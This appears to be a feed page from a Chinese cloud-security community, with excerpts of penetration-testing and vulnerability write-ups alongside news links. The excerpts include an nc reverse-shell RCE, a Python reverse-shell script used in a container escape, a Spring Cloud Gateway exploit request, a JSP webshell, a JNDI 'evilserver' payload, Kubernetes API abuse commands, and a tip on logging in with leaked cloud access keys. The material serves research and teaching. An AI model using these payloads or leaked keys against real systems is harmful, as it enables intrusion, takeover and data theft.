当前节点:huoxian
时间节点
2022年5月26日 20:01火线zone
背景
和master节点kube api-server通信的组件有很多,包括:
kubelet
calico
scheduler
kubectl
某些pod可能会和kube api-server通信
这些组件和api-server通信时用的是什么身份,可以操作哪些api资源呢?
本文使用的k8s集群是用kubekey搭建,命令是./kk create cluster --with-kubernetes v1.21.5 --with-kubesphere v3.2.1
kubectl的身份和权限
kubectl用的是什么身份?
kubectl默认会用到.kube/config配置,其中包含证书信息
root@ip-172-31-14-204:~# cat .kube/config apiVersion: v1 ... users: - name: kubernetes-admin user: client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURJVENDQWdtZ0F3SUJBZ0lJSm9rTE5qWVk0UG93RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TWpBMU1qVXdNRE13TURWYUZ3MHlNekExTWpVd01ETXdNRFphTURReApGekFWQmdOVkJBb1REbk41YzNSbGJUcHRZWE4wWlhKek1Sa3dGd1lEVlFRREV4QnJkV0psY201bGRHVnpMV0ZrCmJXbHVNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTI5L25vcEVJWE9JVXl0MngKRUFETUNod01idkhaWU90c2xYdFBsYnNYRXJPOXpmYzBIMi9UV2p2dUFHUDRwaVhPaG5sSnYvRmtKTVVCbk1HWgpmV3VrdU1vTStOSDZkMERFVjlsMUNYUk9BOEhlRStacXBtYmVvbTV3SWdsYlZIeXFzdTZNb2VySTZkYnFqcEdSCmpJUzVyb0tNQU94OFNYRlJxUFZaaEtIdkhFUTk2RE
2022年5月26日 18:31火线zone
前言
年初的时候,做代码审计的时候whippet师傅给分享下面的这个漏洞,所以拿出来分析一下,确实是个0day,不是,还没人分析过,或许是nday???有意思的点儿可能在实现RCE的地方吧。
介绍
nig****UI可以使用WebUI配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。
环境搭建
下载源文件直接启动
下载地址github下载源码,手动搜索即可,当前版本为2.7.5
访问8090端口即可
如果自己本地不想安装nginx的话,跳过安装步骤,更改访问目录。
使用docker搭建。搭建环境Ubuntu16.04
拉取镜像
docker pull cym1102/nginxwebui:latest
docker run -itd -v /home/nginxWebUI:/home/nginxWebUI -e BOOT_OPTIONS="--server.port=8080" --privileged=true --net=host cym1102/nginxwebui:latest
docker ps
访问
http://192.168.166.130:8080
初始化管理员设置之后登录
命令执行
漏洞触发点
远程服务器->批量命令
执行ifconfig成功
这里使用whoami的时候容易看不到,刚开始以为不能执行,,,,
可以尝试创建一个文件
ls查看创建成功
当然在构造payload的时候拼接语句的话只要符合linux语法都可。
实现RCE
本来是想能不能直接反弹shell的
这里会直接将&符作为连接符去执行了,使用反斜杠去转译,反斜杠被转译为了双反斜杠,这里尝试了很久没绕过,有兴趣的师傅可以尝试一下
使用base64做编码反弹尝试
base编码格式这里会使用|符号,自然在这里这里行不通,因为直接执行了最后的命令,在linux下使用该符号执行命令,会自动执行最后的语句
使用\防转义
但是这里反斜杠被转译为了双反斜杠,那么这是行不通的,那么这个时候只能选择其它方式实现RCE,使用nc反弹
windows上起的nc,发现回连
此时使用nc反弹已经拿到了shell。
代码分析
后台自带启动功能,必定是能够使用命令去执行,这个点儿的话其实也
2022年5月26日 13:01火线zone
火线沙龙第25期-云原生应用安全专场
https://zone.huoxian.cn/d/1206-25
k8s常见组件配置不当利用记录
https://zone.huoxian.cn/d/1207-k8s
超过 38 万个开放的 Kubernetes API 服务器
https://www.shadowserver.org/news/over-380-000-open-kubernetes-api-servers/
自动化的 Azure 滥用研究 - 第一部分
https://securityboulevard.com/2022/05/automating-azure-abuse-research-part-1/
保护你的 AWS 环境安全的 6 个技巧
https://securityboulevard.com/2022/05/6-tips-for-successfully-securing-your-aws-environment/
了解容器安全 - 第二部分:安全建议
https://containerjournal.com/features/understanding-container-security-part-two-security-recommendations/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月25日 18:31火线zone
请查收你的-Spring2022系列漏洞大礼包
1.Spring Cloud Gateway spel 远程代码执行(CVE-2022-22947)
2.Spring Cloud Function functionRouter SPEL代码执行漏洞(CVE-2022-22963)
Spring Framework RCE(CVE-2022-22965)
2022以来,spring被爆出来很多漏洞,之前没时间复现,现在来研究复现一番。
(前几天看见某千万抖音大佬模拟电信诈骗,身边的技术人员(装黑客)遍历磁盘文件的操作着实给我看笑了)
影响版本:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
1. Spring Cloud Gateway spel 远程代码执行(CVE-2022-22947)
1.1 预备工作
先来介绍下Spring Cloud Gateway,SpringCloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。
说白了一句话,它就是API网关
名词概念:
网关:一个网段的出入口
API网关:微服务的统一出入口
将所有前端请求发到API网关,又API网关经过负载均衡后发到对应微服务节点或微服务集群节点(不懂什么是微服务和集群的去百度,这两个词语的概念很简单)
1.2 漏洞利用
还是用vulhub靶场来搭建
先添加一个包含恶意SpEL表达式的路由
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connec
2022年5月25日 18:01火线zone
渗透测试中的k8s各个组件未鉴权情况下如何利用都是需要去熟知的,这篇附上常见组件未授权或配置不当情况下如何攻击利用。
组件之间的关系:

对组建的介绍文章很多了,这里不介绍组件的基础,只记录如何利用。
Apiserver
apiserver有两个端口一个认证(Insecure-port ,8080端口,低版本才对外开放,1.20版本后默认不开)、一个不认证(secure-port,6443端口)。
能利用的情况是开放端口并且配置错误,这里的配置错误是将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群:
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
这种配置下可以拿到所有token后与api server交互,支配集群:

利用
使用kubectl和apiserver交互,或者就单纯curl来发包,效果都是一样的。
容器内下载kubectl:
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
执行pod内命令:
kubectl -s 192.168.1.22:8080 get node #查看node kubectl -s 192.168.1.22:8080 get pods #查看pod kubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器 kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash #对pod的容器shell
替换成curl的话也是一样的,把kubectl的包转成curl即可:

https://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker https:/
2022年5月25日 15:31火线zone
在企业数字化转型发展和云原生环境中,企业安全威胁更加复杂,同时安全监管力度的加大也推动了应用安全行业的快速发展。
因此,云原生的发展对应用安全检测提出了更多的技术要求,为适应企业云原生场景下更加复杂的应用安全问题,本次沙龙将邀请云原生不同领域的研究专家,从不同视角剖析云原生应用安全的可见性。
|火线沙龙第25期|云原生应用安全专场
|时间|2022年5月28日(周六)19:00-21:00
|地点|火线安全——视频号直播间
沙龙议题
陈妍丨《云原生安全技术规范》解读
讲师介绍:博士 副研究员、公安部第三研究所检测中心云计算与公安大数据安全测评实验室负责人、CSA大中华区云应用安全工作组联席组长
议题介绍:介绍云原生相关概念、主要存在问题,给出云原生安全框架,并最终对于、云原生给出安全建议。
欧阳强斌丨软件供应链安全威胁与业界解决方案
讲师介绍:墨菲安全实验室负责人
议题介绍:随着软件及开源生态的发展,开源软件已经成为数字空间的基石。从Log4j2漏洞到node-ipc组件投毒,近年来自软件供应链安全威胁涌现,企业违反GPL许可证的案例也屡见不鲜。开源是更安全还是更不安全?我们将分享来自软件供应链的典型安全威胁,要解决这些问题面临着哪些挑战,以及业界不同组织在试图解决这些安全威胁中作出的解决方案。
曾垚丨Serverless应用安全浅谈
讲师介绍:火线安全联合创始人、安全负责人
议题介绍:随着各大云厂商及CNCF生态中逐步推出FaaS Serverless相关技术,大服务提高应用软件的开发效率降低应用维护成本,希望可以通过本次议题帮助开发者了解Serverless技术使用过程中存在的诸多安全风险。
沙龙流程
2022年5月25日 11:31火线zone
Proc 目录挂载逃逸漏洞
https://zone.huoxian.cn/d/1204-proc
k8s提权漏洞之CVE-2018-1002105
https://zone.huoxian.cn/d/1203-k8scve-2018-1002105
了解容器安全 - 第一部分:安全漏洞
https://containerjournal.com/features/understanding-container-security-part-one-security-gaps/
云安全的困惑:哪些框架确实是有帮助的?
https://nationalinterest.org/blog/techland-when-great-power-competition-meets-digital-world/cloud-security%C2%A0confusion-which
Oracle 增加 Services 以加强云安全
https://securityboulevard.com/2022/05/oracle-adds-services-to-strengthen-cloud-security/
什么是云计算?
https://securityboulevard.com/2022/05/what-is-cloud-computing/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月24日 18:55火线zone
前言
linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc目录挂载到容器内部时可以实现逃逸。
漏洞介绍
/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是管道符|时,后面的部分会以命令行的方式进行解析并运行。
利用该解析方式,我们可以进行容器逃逸。
漏洞利用
cdk关于该漏洞的exp
cdk将用户指定的shell命令指向宿主机/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而触发shellcode执行。
docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash ./cdk run mount-procfs /mnt/host_proc "touch /tmp/exp-success"
漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
/tmp/.x.py 执行反弹shell操作
#!/usr/bin/python3 import os import pty import socket lhost = "172.17.0.1" lport = 10000 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") # os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main()
漏洞触发需
2022年5月24日 15:55火线zone
CVE-2018-1002105是k8s的一个提权漏洞,提权中利用高权限websocket通道来窃取凭据文件、利用凭据文件接管apiserver的过程还是比较有趣,这里记录CVE-2018-1002105漏洞原理和利用。
漏洞基础知识
基于角色的访问控制(Role-Based Access Control)
基于角色的访问控制(Role-Based Access Control,即”RBAC”)使rbac.authorization.k8s.io API Group 实现授权决策,允许管理员通过 Kubernetes API 动态配置策略。
要启用 RBAC,请使用 --authorization-mode=RBAC 启动 API Server。
RBAC API 声明了四种 Kubernetes 对象:
Role #一系列权限的集合,通常是命名空间 ClusterRole #一系列权限的集合,通常是无命名空间 RoleBinding ClusterRoleBinding
用户可以像使用其他 Kubernetes API 资源一样 (例如通过 kubectl、API 调用等)与这些资源进行交互。例如,命令 kubectl create -f (resource).yml。
在 RBAC API 中,一个角色包含了一套表示一组权限的规则。 权限以纯粹的累加形式累积(没有” 否定” 的规则)。 角色可以由命名空间(namespace)内的Role对象定义,而整个 Kubernetes 集群范围内有效的角色则通过 ClusterRole对象实现。
Role 对象
一个 Role 对象只能用于授予对某一单一命名空间中资源的访问权限。 以下示例描述了”default” 命名空间中的一个 Role 对象的定义,用于授予对pod的读访问权限:
kind: Role apiVersion: rbac.authorization.k8s.io/v1beta1 metadata: namespace: default name: pod-reader rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "watch", "list"]
ClusterRole 对象
ClusterRole 定义可用于授予用户对某一特定命名空间,或者所有命名空间中的secret的读访问
2022年5月24日 11:55火线zone
如何将 Emissary Ingress 与 OPA 结合起来?
https://www.infracloud.io/blogs/emissary-ingress-opa-integration/
KubeCon + CloudNativeCon Europe 2022 视频
https://shorturl.at/iAFK2
用 CloudTrail 和 Sysdig 保护亚马逊 EC2 的安全
https://malware.news/t/securing-amazon-ec2-with-cloudtrail-and-sysdig/60380
Fairwinds 融汇了 Kubernetes 的安全和治理
https://containerjournal.com/features/fairwinds-melds-kubernetes-security-and-governance/
K8S源码编译到远程调试笔记
https://mp.weixin.qq.com/s/w22Y-FAzdUm9ViV5oJHBXQ
为 DevOps 流水线准备的 macOS 虚拟化工具
https://mp.weixin.qq.com/s/7KPikDizV6WPhAwTFjtGCA
如何从 Kubernetes 节点权限提升至集群管理员权限?
https://github.com/neargle/my-re0-k8s-security/blob/main/paper/1.%E5%A6%82%E4%BD%95%E4%BB%8EKubernetes%E8%8A%82%E7%82%B9%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E8%87%B3%E9%9B%86%E7%BE%A4%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90.md
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月23日 17:54火线zone
JNDI介绍
Java命名和目录接口是Java编程语言中接口的名称( JNDI )。它是一个API(应用程序接口),与服务器一起工作,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。可以使用命名约定从数据库获取文件。JNDI为Java⽤户提供了使⽤Java编码语⾔在Java中搜索对象的⼯具。
简单来说呢,JNDI相当与是Java里面的一个api,它可以通过命名来查找数据和对象。
JNDI注入原理
JNDI中有两个方法:
bind() :作用是将名称绑定到对象里面
lookup() :作用是通过名字检索执行的对象
JNDI注入简单来说就是在JNDI接口在初始化时,如果lookup()方法的参数可控,攻击者就可以将恶意的url传入参数加载恶意的类。
import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用 initialContext.lookup(uri);//获取指定的远程对象 } }
jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入
JNDI+RMI
RMI远程调用是指,一个JVM中的代码可以通过网络实现远程调用另一个JVM的某个方法
攻击者可以构造payload:rmi://evilserver:9999/payload 来加载恶意的类。
**这里注意,在JDK 6u132, JDK 7u122, JDK 8u113及其之后版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase 、com.sun.jndi.cosnaming.object.trustURLCodebase 默认值为 **false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。目标环境需要JDK符合版本,或者将这个属性设置为 true 才能使用 JNDI+RMI注
2022年5月23日 16:54火线zone
火线Zone社区
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。
欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
投稿方式
进入火线Zone 【https://zone.huoxian.cn/】 点击左上方 #发布主题#-> 在文章开头选择#添加标签#
文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
文章稿件支持Markdown格式
投稿要求
原创文章:
以云安全、云原生、容器、微服务、DevOps、Kubernetes、企业最佳实践相关主题为主;渗透测试、红蓝对抗、漏洞分析等可根据文章内容质量审核奖励。
要求:具备原创性,内容具备深度和可读性,文章内容质量高,观点新颖。
分类:请添加官方标签#原创文章#,否则不计入奖励。
翻译文章:
以高质量国外云安全相关主题为主。
要求:文章技术含量高,语句通顺无技术词汇翻译错误,拒绝不经过思考的机器翻译,文章开头或结尾必须备注文章原链接。
分类:请添加官方标签#翻译文章#,否则不计入奖励。
投稿奖励
针对被设为精华的原创文章,给予现金奖励300-500元,同时可获得相应数量的查克拉,视文章类型和质量上下浮动。// 首次被评为精华的原创作者,可获得火线玩偶一个,请联系火线小助手。
针对原创文章,点赞≥10,给予奖励200-500查克拉。
针对被设为精华的翻译文章,给予奖励300-600查克拉,视文章类型和质量上下浮动。
针对翻译文章,点赞≥10,给予奖励200查克拉。
投稿评分标准
文章的深度及广度
文章的完整性和可读性
文章阅读量及优质点赞评论数量
(以5分满分为标准,评分由火线审核进行确认)
奖励发放说明
符合文章激励的内容将会对外发表在【火线Zone】公众号上。
火线Zone中的查克拉奖励不包含Rank奖励,Rank的获取目前只能通过提交有效漏洞获取。
所有奖励每周一进行结算(即本周奖励结算上周的文章),结算完将在火线Zone社区进行结果公示,如有异议请及时联系#火线小助手#。
无异议后将在周二或周三发放奖励至火线安全平台账号内,可进行现金提现或兑换商品。
2022年5月23日 11:54火线zone
k8s源码编译到远程调试笔记
https://zone.huoxian.cn/d/1198-k8s
Lacework 深入研究 Kubernetes 安全问题
https://containerjournal.com/features/lacework-dives-deeper-into-kubernetes-security/
利用 Parallels Desktop 中的 Unbounded memcpy 漏洞逃逸
https://blog.ret2.io/2022/05/19/pwn2own-2021-parallels-desktop-exploit/
Sigstore 着手确保云端原生供应链的安全
https://containerjournal.com/features/sigstore-sets-out-to-secure-cloud-native-supply-chain/
Serverless 时代,这才是 Web 应用开发正确的打开方式
https://www.infoq.cn/article/G6Ck2uC4vawOCGGLGExl
Solo.io 采用 Cilium 容器网络平台
https://containerjournal.com/features/solo-io-embraces-cilium-container-networking-platform/
从零开始的 Kubernetes 攻防
https://github.com/neargle/my-re0-k8s-security
左移只是安全软件交付的一部分
https://sysdig.com/blog/shift-left-secure-software-delivery/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月22日 16:45火线zone
对于理解k8s相关机制、漏洞利用细节来说源码debug调试的作用不言而喻,附上k8s源码编译再到远程debug调试笔记过程。
环境搭建
宿主机goland+远程/虚拟机k8s集群
通过GoLand和dlv远程调试Linux虚拟机中的Kubernetes进程
kubeadm安装k8s集群
这个网上很多教程,官方也有文档,但是有很多坑所以还是记了笔记。
拿环境debian10来安装,arch为arm64。
docker安装:
docker是kubeadm的前置依赖,安装docker的步骤参考官方教程:https://docs.docker.com/engine/install/debian/
更新deb源,安装必要软件
$ apt-get update $ apt-get install \ apt-transport-https \ ca-certificates \ curl \ gnupg \ lsb-release -y
添加docker官方GPG key和添加docker amd64 deb源
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg echo \ "deb [arch=arm64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian \ $(lsb_release -cs) stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null
安装docker:


kubeadm安装:
kubeadm是Kubernetes官方提供的安装工具,可用于快速部署Kubernetes集群。
源码调试环境中,需要一个基准Kubernetes集群,后续再基于该集群需要调试的CMD用Debug版本替换。
安装kubeadm的步骤参考官方教程:https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/install-kubeadm/
必要依赖,包
2022年5月21日 17:01火线zone
其实这篇tips只需要一句话就可以概括…但是知道怎么做了,希望也要知道为什么这么做
前因
两次有白帽来问我为什么阿里云的Oss-browser,使用泄露的AK,但是登录不上去
如何解决呢?
这里我在后台找了其中一个白帽提交的泄露AK来进行演示
如果只写AK,和KEY,那么这里会显示,没有权限去列buckets,我们需要指定oss路径,这里是为什么呢?
原因是:如果我们拿到的AK权限是比较小的时候,那么我们没有去列存储桶的权限的,所以需要指定存储桶名字
那么比如我们在JS中找到的泄露AK,那么会有存储桶的名字
(后台的漏洞报告,所以厚码,见谅)
那么如果我们知道存储桶的地址,自然也就知道的存储桶的名字
比如这个http://uzju.oss-cn-beijing.aliyuncs.com/,那么这里的存储桶名字就肯定是uzju没错的
那么我们如何知道区域呢?
1、自己猜
2、JS里面一般都有
错误的写法
正确的写法
登录成功,祝师傅们都能捡到AK泄露
2022年5月21日 16:31火线zone
概念
蜜罐又叫蜜罐Honeypot,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
分类
云蜜罐从交互来区分,包括低交互蜜罐、高交互蜜罐。简单来说低交互式的蜜罐是为了实现对攻击行为的捕获,比如简单仿ssh、ftp、smtp、mysql等服务实现对攻击目标的诱捕。高交互蜜罐一般会在低交互的基础上除了伪造虚假服务之外,还能实现模仿托管各种系统OA办公系统、网站等的业务系统外,能够对攻击者的行为进行追踪溯源和分析。
功能
下面以某厂蜜罐为例,下面的是实时大屏。

(该图片来自于网络<侵删>)
高交互蜜罐,能够实现对攻击者攻击行为分析,攻击画像分析,攻击源等信息进行获取
除了溯源画像外,基本上低交互蜜罐也能实现其它功能。就主要功能点在下面这几点
对于攻击行为分析主要在日志,可以对攻击者的操作行为进行分析(包含入侵日志、扫描日志等),当然各项日志可查看详细信息,但是对于溯源来讲仅仅这些内容是无法实现的,蜜罐除了诱捕之外的亮点就在于溯源画像。内容包含社交信息,当然对于溯源来说两点就够了。社交+可能获取到敏感信息的反制文件
包含多个信息点儿,主要实现的原理是通过脚本实现的。后面分享脚本儿以及抓取流量。
环境+分析
win10 192.168.63.40 wireshark 3.6.5
直接开始抓包,对目标的地址进行访问,在访问mysql服务的时候,数据包如下
这里我们直接追踪数据流,直接追踪的是tcp流,在进行mysql连接的时候,用的协议自然有mysql和tcp协议,数据库连接使用的是mysql协议,数据块传输的时候使用的是tcp协议
可以看到在连接数据的时候,蜜罐会下载我们本机的文件。
这里可能跟数据库版本有关,下载的数据块也不是太完整,但是为了能够尽可能多的实现或者说是获取到攻击方的信息,数据会进行分块传输。
下面是来自github上的脚本
#coding=utf-8 import socket import os import re def mysql_get_file_content(filename,conn,address): logpath = os.path.abs
2022年5月20日 14:31火线zone
0x01 CLB
CLB 云负载均衡(Cloud Load Balancing)是一项完全分布式、软件定义的代管式服务。
Cloud Load Balancing 构建于 Google 所用的前端服务基础架构之上,它支持每秒处理超过一百万次查询,并且保证一致的高性能和低延迟。流量可通过 80 多个独立的全球负载均衡位置进入 Cloud Load Balancing,从而尽可能在 Google 的快速专用网络主干上传输。
使用 Cloud Load Balancing,用户可以以尽可能接近用户的位置传送内容。
信息收集
查看负载均衡器的模式
gcloud compute forwarding-rules describe forwarding_rule_name
影响
攻击者可以修改目标的负载均衡,例如设置负载均衡器,创建运行状况检查
gcloud compute health-checks create http http-basic-check --port 80
0x02 VPC
Google Cloud Virtual Private Cloud (VPC) 为 Compute Engine 虚拟机 (VM) 实例、Google Kubernetes Engine (GKE) 容器等环境提供网络功能。
信息收集
列出转发规则
gcloud compute forwarding-rules list
查看防火墙规则
gcloud compute firewall-rules list
影响
攻击者能够修改防火墙策略,使防火墙策略对攻击者放开达到利于攻击者访问资源的目的。
例如配置防火墙规则,创建 fw-allow-health-check 防火墙规则。
这是一种入站流量规则,允许来自 Google Cloud 运行状况检查系统(130.211.0.0/22 和 35.191.0.0/16)的流量。
gcloud compute firewall-rules create fw-allow-health-check --network=default --action=allow --direction=ingress --source-ranges=130.211.0.0/22,35.191.0.0/16 --target-tags=allow-health-check --rules=tcp:80
0x03
2022年5月20日 11:01火线zone
共享Cgroup容器逃逸漏洞
https://zone.huoxian.cn/d/1188-cgroup
通过实验理解"k8s的api聚合"
https://zone.huoxian.cn/d/1193-k8sapi
谷歌云 CLB 、VPC 和 IAM 服务攻防
https://zone.huoxian.cn/d/1191-clb-vpc-iam-md
Kubernetes/GKE 环境中特权 Pod 被用于作为跳板实现提权
https://security.googleblog.com/2022/05/privileged-pod-escalations-in.html
RSA创新沙盒盘点|Cado Security——云原生取证和响应
https://mp.weixin.qq.com/s/ATSanbUrGvOc2aEhOixXxg
从0基础搭建K8s环境及K8s安全基础笔记
https://mp.weixin.qq.com/s/21PTxhHKM57N_xagKTZ6rA
SUSE 将容器安全平台与 Rancher 集成在了一起
https://containerjournal.com/features/suse-integrates-container-security-platform-with-rancher/
查看历史云安全技术资讯可以访问:
https://cloudsec.huoxian.cn/docs/information
2022年5月19日 19:31火线zone
背景
在k8s中,可以通过聚合层扩展 Kubernetes API。
本文参考sample-apiserver项目的readme和安装一个扩展的 API server,通过部署sample-apiserver来体验"聚合层"的效果。
实验目的:
验证"聚合层"的功能:看一看"sample-apiserver"是否能够扩展api
学习怎么部署"扩展的api server"
实验过程
0x01 配置聚合层
安装一个扩展的 API server 中提到,需要先配置聚合层。
其中很重要的一步是提交APIService对象,apiservice.yaml中定义了APIService对象,执行kubectl apply -f artifacts/example后,能看到APIService对象被创建。
root@ip-172-31-14-33:~/test_cr# kubectl get APIService v1alpha1.wardle.example.com -o yaml apiVersion: apiregistration.k8s.io/v1 kind: APIService metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: | {"apiVersion":"apiregistration.k8s.io/v1","kind":"APIService","metadata":{"annotations":{},"name":"v1alpha1.wardle.example.com"},"spec":{"group":"wardle.example.com","groupPriorityMinimum":1000,"insecureSkipTLSVerify":true,"service":{"name":"api","namespace":"wardle"},"version":"v1alpha1","versionPriority":15}} creationTimestamp: "2022-05-19T07:48:23Z" name: v1alpha1.wardle.example.com resourceVersion: "4191734" uid: 2f101ecd-15b9-4e06-8cbe-5c58c099
2022年5月19日 17:01火线zone
tomcat复现网上已经很多了,我就在这篇文章简单的总结一下
Tomcat 任意文件写入(CVE-2017-12615)
影响范围: Tomcat 7.0.0-7.0.81(默认配置)
测试环境:Apache Tomcat v8.5.39
漏洞本质:Tomcat配置文件/conf/web.xml 配置了可写(readonly=false),导致我们可以往服务器写文件。如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的CVE-2017-12615漏洞
docker打开环境https://github.com/vulhub/vulhub

docker ps docker exec -ti 9eb90787a80f bash cat conf/web.xml | grep readonly
可以看到Tomcat配置文件/conf/web.xml 配置了可写(readonly=false)
抓个包,修改一下数据包改成put,写入一个jsp文件
可以看到成功写入任意文件


既然可以写入任意文件,那也可以写入后门来getshell
jsp木马:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (
2022年5月19日 15:31火线zone
0x01 CLB
CLB 云负载均衡(Cloud Load Balancing)是一项完全分布式、软件定义的代管式服务。
Cloud Load Balancing 构建于 Google 所用的前端服务基础架构之上,它支持每秒处理超过一百万次查询,并且保证一致的高性能和低延迟。流量可通过 80 多个独立的全球负载均衡位置进入 Cloud Load Balancing,从而尽可能在 Google 的快速专用网络主干上传输。
使用 Cloud Load Balancing,用户可以以尽可能接近用户的位置传送内容。
信息收集
查看负载均衡器的模式
gcloud compute forwarding-rules describe forwarding_rule_name
影响
攻击者可以修改目标的负载均衡,例如设置负载均衡器,创建运行状况检查
gcloud compute health-checks create http http-basic-check --port 80
0x02 VPC
Google Cloud Virtual Private Cloud (VPC) 为 Compute Engine 虚拟机 (VM) 实例、Google Kubernetes Engine (GKE) 容器等环境提供网络功能。
信息收集
列出转发规则
gcloud compute forwarding-rules list
查看防火墙规则
gcloud compute firewall-rules list
影响
攻击者能够修改防火墙策略,使防火墙策略对攻击者放开达到利于攻击者访问资源的目的。
例如配置防火墙规则,创建 fw-allow-health-check 防火墙规则。
这是一种入站流量规则,允许来自 Google Cloud 运行状况检查系统(130.211.0.0/22 和 35.191.0.0/16)的流量。
gcloud compute firewall-rules create fw-allow-health-check --network=default --action=allow --direction=ingress --source-ranges=130.211.0.0/22,35.191.0.0/16 --target-tags=allow-health-check --rules=tcp:80
0x03
2022年5月19日 14:31火线zone
本应用程序安全指南将为您提供在2022年保持安全所需的所有信息。
什么是应用程序安全性?
应用程序安全性定义为在开发和部署应用程序期间为阻止恶意行为者通过易受攻击的软件或硬件访问数据或代码而采取的操作和过程。
随着越来越多的组织依靠软件来推进其业务流程,保持应用程序安全性与开发实践一致变得至关重要。近年来,开发人员构建和发布应用程序的方式发生了巨大变化。今天的开发周期类似于软件工厂,其新功能和更新通常每天从装配线上更新。对于软件安全经理来说,这增加了复杂性和额外的风险,以确保应用程序不会在业务系统中创建新的漏洞。
应用程序安全最佳实践应定期更新,以保持领先于黑客和不良行为者,他们经常寻找利用软件的新方法。
本应用安全指南旨在阐明核心应用安全概念和方法、漏洞和问题,并为您提供在 2022 年保持安全所需的所有工具。
为什么应用程序安全性很重要?
应用程序安全作为一门独特的学科在不断发展。到2020年,该市场价值为57亿美元,Forrester分析师预计到2025年将达到129亿美元。漏洞可能源于配置错误等简单操作,也可能来自包含已知漏洞的软件组件,这就是为什么维护和提高应用程序安全性对企业如此重要的原因。
最近的一项研究显示,在分析的85,000个应用程序中,有83%至少包含一个安全漏洞。其中,20%有严重的漏洞。虽然并非所有这些漏洞都必然会带来重大的安全风险,但黑客通过使用巧妙的变通办法来渗透软件,从而继续完善其攻击。
为了提高应用程序的安全性,公司需要投资于与他们的开发环境整合的工具。这对于处理高度敏感数据的公司(如金融机构、政府组织、医疗保健等)至关重要。
